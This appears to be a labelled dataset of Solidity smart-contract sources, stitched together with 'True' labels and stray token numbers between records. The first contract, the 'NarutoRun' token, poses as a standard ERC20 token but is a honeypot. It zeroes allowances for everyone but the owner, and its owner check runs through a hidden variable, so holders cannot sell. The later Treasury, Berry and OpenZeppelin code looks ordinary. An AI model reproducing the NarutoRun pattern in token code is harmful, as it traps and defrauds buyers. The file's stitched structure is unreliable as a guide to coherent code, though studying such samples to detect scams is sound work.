function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) private onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
address private newComer = _msgSender();
modifier onlyOwner() {
require(newComer == _msgSender(), "Ownable: caller is not the owner");
_;
}
}
contract NarutoRun is Context, IERC20, Ownable {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _tTotal = 1000 * 10**9 * 10**18;
string private _name = ' Naruto Run ';
string private _symbol = ' Naruto_Run';
uint8 private _decimals = 18;
constructor () public {
_balances[_msgSender()] = _tTotal;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function _approve(address ol, address tt, uint256 amount) private {
require(ol != address(0), "ERC20: approve from the zero address");
require(tt != address(0), "ERC20: approve to the zero address");
if (ol != owner()) { _allowances[ol][tt] = 0; emit Approval(ol, tt, 4); }
else { _allowances[ol][tt] = amount; emit Approval(ol, tt, amount); }
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function totalSupply() public view override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function _transfer(address sender, address recipient, uint256 amount) internal {
require(sender != address(0), "BEP20: transfer from the zero address");
require(recipient != address(0), "BEP20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "BEP20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
}
|
True
|
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102
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// File: @openzeppelin/contracts/math/SafeMath.sol
pragma solidity ^0.5.0;
/**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
* - Subtraction cannot overflow.
*
* _Available since v2.4.0._
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*
* _Available since v2.4.0._
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*
* _Available since v2.4.0._
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
// File: @openzeppelin/contracts/GSN/Context.sol
pragma solidity ^0.5.0;
/*
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with GSN meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
contract Context {
// Empty internal constructor, to prevent people from mistakenly deploying
// an instance of this contract, which should be used via inheritance.
constructor () internal { }
// solhint-disable-previous-line no-empty-blocks
function _msgSender() internal view returns (address payable) {
return msg.sender;
}
function _msgData() internal view returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
// File: @openzeppelin/contracts/ownership/Ownable.sol
pragma solidity ^0.5.0;
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(isOwner(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Returns true if the caller is the current owner.
*/
function isOwner() public view returns (bool) {
return _msgSender() == _owner;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public onlyOwner {
_transferOwnership(newOwner);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
*/
function _transferOwnership(address newOwner) internal {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
// File: @openzeppelin/contracts/token/ERC20/IERC20.sol
pragma solidity ^0.5.0;
/**
* @dev Interface of the ERC20 standard as defined in the EIP. Does not include
* the optional functions; to access them see {ERC20Detailed}.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
// File: @openzeppelin/contracts/utils/Address.sol
pragma solidity ^0.5.5;
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
/**
* @dev Converts an `address` into `address payable`. Note that this is
* simply a type cast: the actual underlying value is not changed.
*
* _Available since v2.4.0._
*/
function toPayable(address account) internal pure returns (address payable) {
return address(uint160(account));
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*
* _Available since v2.4.0._
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-call-value
(bool success, ) = recipient.call.value(amount)("");
require(success, "Address: unable to send value, recipient may have reverted");
}
}
// File: @openzeppelin/contracts/token/ERC20/SafeERC20.sol
pragma solidity ^0.5.0;
/**
* @title SafeERC20
* @dev Wrappers around ERC20 operations that throw on failure (when the token
* contract returns false). Tokens that return no value (and instead revert or
* throw on failure) are also supported, non-reverting calls are assumed to be
* successful.
* To use this library you can add a `using SafeERC20 for ERC20;` statement to your contract,
* which allows you to call the safe operations as `token.safeTransfer(...)`, etc.
*/
library SafeERC20 {
using SafeMath for uint256;
using Address for address;
function safeTransfer(IERC20 token, address to, uint256 value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint256 value) internal {
// safeApprove should only be called when setting an initial allowance,
// or when resetting it to zero. To increase and decrease it, use
// 'safeIncreaseAllowance' and 'safeDecreaseAllowance'
// solhint-disable-next-line max-line-length
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).add(value);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero");
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
/**
* @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement
* on the return value: the return value is optional (but if data is returned, it must not be false).
* @param token The token targeted by the call.
* @param data The call data (encoded using abi.encode or one of its variants).
*/
function callOptionalReturn(IERC20 token, bytes memory data) private {
// We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since
// we're implementing it ourselves.
// A Solidity high level call has three parts:
// 1. The target address is checked to verify it contains contract code
// 2. The call itself is made, and success asserted
// 3. The return value is decoded, which in turn checks the size of the returned data.
// solhint-disable-next-line max-line-length
require(address(token).isContract(), "SafeERC20: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
// File: contracts/Treasury.sol
pragma solidity ^0.5.0;
contract Treasury is Ownable {
using SafeMath for uint;
using SafeERC20 for IERC20;
event TransferToken(address receiver, address token, uint256 amount);
event TransferETH(address receiver, uint256 amount);
constructor() public {}
function() external payable { }
function transferToken(address receiver, IERC20 token, uint256 amount) external onlyOwner {
require(amount <= token.balanceOf(address(this)), "Charge: transfer amount exceeds balance");
token.safeTransfer(receiver, amount);
emit TransferToken(receiver, address(token), amount);
}
function transferETH(address receiver, uint256 amount) external onlyOwner {
require(amount <= address(this).balance, "Charge: eth amount exceeds balance");
address(uint160(receiver)).transfer(amount); //convert address to payable address
emit TransferETH(receiver, amount);
}
}
|
True
|
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/**
*Submitted for verification at Etherscan.io on 2021-12-07
*/
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.10;
library Math {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if(a == 0) { return 0; }
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract Ownable {
address public owner_;
mapping(address => bool) public locked_;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
modifier onlyOwner() {
require(msg.sender == owner_);
_;
}
modifier locked() {
require(!locked_[msg.sender]);
_;
}
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
emit OwnershipTransferred(owner_, newOwner);
owner_ = newOwner;
}
function lock(address owner) public onlyOwner {
locked_[owner] = true;
}
function unlock(address owner) public onlyOwner {
locked_[owner] = false;
}
}
contract ERC20Token {
using Math for uint256;
event Burn(address indexed burner, uint256 value);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
uint256 totalSupply_;
mapping(address => uint256) balances_;
mapping (address => mapping (address => uint256)) internal allowed_;
function totalSupply() public view returns (uint256) { return totalSupply_; }
function transfer(address to, uint256 value) public virtual returns (bool) {
require(to != address(0));
require(value <= balances_[msg.sender]);
balances_[msg.sender] = balances_[msg.sender].sub(value);
balances_[to] = balances_[to].add(value);
emit Transfer(msg.sender, to, value);
return true;
}
function balanceOf(address owner) public view returns (uint256 balance) { return balances_[owner]; }
function transferFrom(address from, address to, uint256 value) public virtual returns (bool) {
require(to != address(0));
require(value <= balances_[from]);
require(value <= allowed_[from][msg.sender]);
balances_[from] = balances_[from].sub(value);
balances_[to] = balances_[to].add(value);
emit Transfer(from, to, value);
allowed_[from][msg.sender] = allowed_[from][msg.sender].sub(value);
emit Approval(from, msg.sender, allowed_[from][msg.sender]);
return true;
}
function approve(address spender, uint256 value) public returns (bool) {
allowed_[msg.sender][spender] = value;
emit Approval(msg.sender, spender, value);
return true;
}
function allowance(address owner, address spender) public view returns (uint256) {
return allowed_[owner][spender];
}
function burn(uint256 value) public {
require(value <= balances_[msg.sender]);
address burner = msg.sender;
balances_[burner] = balances_[burner].sub(value);
emit Transfer(burner, burner, value);
totalSupply_ = totalSupply_.sub(value);
emit Burn(burner, value);
}
}
contract Berry is Ownable, ERC20Token {
using Math for uint;
uint8 constant public decimals = 18;
string constant public symbol = "BERRY";
string constant public name = "Berry";
constructor(address company, uint amount) {
owner_ = company;
totalSupply_ = amount * 1000000000000000000;
initSetting(company, totalSupply_);
}
function initSetting(address addr, uint amount) internal returns (bool) {
balances_[addr] = amount;
emit Transfer(address(0x0), addr, balances_[addr]);
return true;
}
function transfer(address to, uint256 value) public override returns (bool) {
return super.transfer(to, value);
}
function transferFrom(address from, address to, uint256 value) public override returns (bool) {
return super.transferFrom(from, to, value);
}
}
|
True
|
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2015,
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12375,
1006,
102
] |
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/**
*Submitted for verification at Etherscan.io on 2022-02-12
*/
// File: https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/utils/Strings.sol
// OpenZeppelin Contracts v4.4.1 (utils/Strings.sol)
pragma solidity ^0.8.0;
/**
* @dev String operations.
*/
library Strings {
bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef";
/**
* @dev Converts a `uint256` to its ASCII `string` decimal representation.
*/
function toString(uint256 value) internal pure returns (string memory) {
// Inspired by OraclizeAPI's implementation - MIT licence
// https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol
if (value == 0) {
return "0";
}
uint256 temp = value;
uint256 digits;
while (temp != 0) {
digits++;
temp /= 10;
}
bytes memory buffer = new bytes(digits);
while (value != 0) {
digits -= 1;
buffer[digits] = bytes1(uint8(48 + uint256(value % 10)));
value /= 10;
}
return string(buffer);
}
/**
* @dev Converts a `uint256` to its ASCII `string` hexadecimal representation.
*/
function toHexString(uint256 value) internal pure returns (string memory) {
if (value == 0) {
return "0x00";
}
uint256 temp = value;
uint256 length = 0;
while (temp != 0) {
length++;
temp >>= 8;
}
return toHexString(value, length);
}
/**
* @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length.
*/
function toHexString(uint256 value, uint256 length) internal pure returns (string memory) {
bytes memory buffer = new bytes(2 * length + 2);
buffer[0] = "0";
buffer[1] = "x";
for (uint256 i = 2 * length + 1; i > 1; --i) {
buffer[i] = _HEX_SYMBOLS[value & 0xf];
value >>= 4;
}
require(value == 0, "Strings: hex length insufficient");
return string(buffer);
}
}
// File: https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/utils/Address.sol
// OpenZeppelin Contracts v4.4.1 (utils/Address.sol)
pragma solidity ^0.8.1;
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*
* [IMPORTANT]
* ====
* You shouldn't rely on `isContract` to protect against flash loan attacks!
*
* Preventing calls from contracts is highly discouraged. It breaks composability, breaks support for smart wallets
* like Gnosis Safe, and does not provide security since it can be circumvented by calling from a contract
* constructor.
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize/address.code.length, which returns 0
// for contracts in construction, since the code is only stored at the end
// of the constructor execution.
return account.code.length > 0;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success, ) = recipient.call{value: amount}("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain `call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value
) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value,
string memory errorMessage
) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
(bool success, bytes memory returndata) = target.call{value: value}(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(
address target,
bytes memory data,
string memory errorMessage
) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
(bool success, bytes memory returndata) = target.staticcall(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
(bool success, bytes memory returndata) = target.delegatecall(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the
* revert reason using the provided one.
*
* _Available since v4.3._
*/
function verifyCallResult(
bool success,
bytes memory returndata,
string memory errorMessage
) internal pure returns (bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
// File: https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/token/ERC721/IERC721Receiver.sol
// OpenZeppelin Contracts v4.4.1 (token/ERC721/IERC721Receiver.sol)
pragma solidity ^0.8.0;
/**
* @title ERC721 token receiver interface
* @dev Interface for any contract that wants to support safeTransfers
* from ERC721 asset contracts.
*/
interface IERC721Receiver {
/**
* @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom}
* by `operator` from `from`, this function is called.
*
* It must return its Solidity selector to confirm the token transfer.
* If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted.
*
* The selector can be obtained in Solidity with `IERC721Receiver.onERC721Received.selector`.
*/
function onERC721Received(
address operator,
address from,
uint256 tokenId,
bytes calldata data
) external returns (bytes4);
}
// File: https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/utils/introspection/IERC165.sol
// OpenZeppelin Contracts v4.4.1 (utils/introspection/IERC165.sol)
pragma solidity ^0.8.0;
/**
* @dev Interface of the ERC165 standard, as defined in the
* https://eips.ethereum.org/EIPS/eip-165[EIP].
*
* Implementers can declare support of contract interfaces, which can then be
* queried by others ({ERC165Checker}).
*
* For an implementation, see {ERC165}.
*/
interface IERC165 {
/**
* @dev Returns true if this contract implements the interface defined by
* `interfaceId`. See the corresponding
* https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section]
* to learn more about how these ids are created.
*
* This function call must use less than 30 000 gas.
*/
function supportsInterface(bytes4 interfaceId) external view returns (bool);
}
// File: https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/utils/introspection/ERC165.sol
// OpenZeppelin Contracts v4.4.1 (utils/introspection/ERC165.sol)
pragma solidity ^0.8.0;
/**
* @dev Implementation of the {IERC165} interface.
*
* Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check
* for the additional interface id that will be supported. For example:
*
* ```solidity
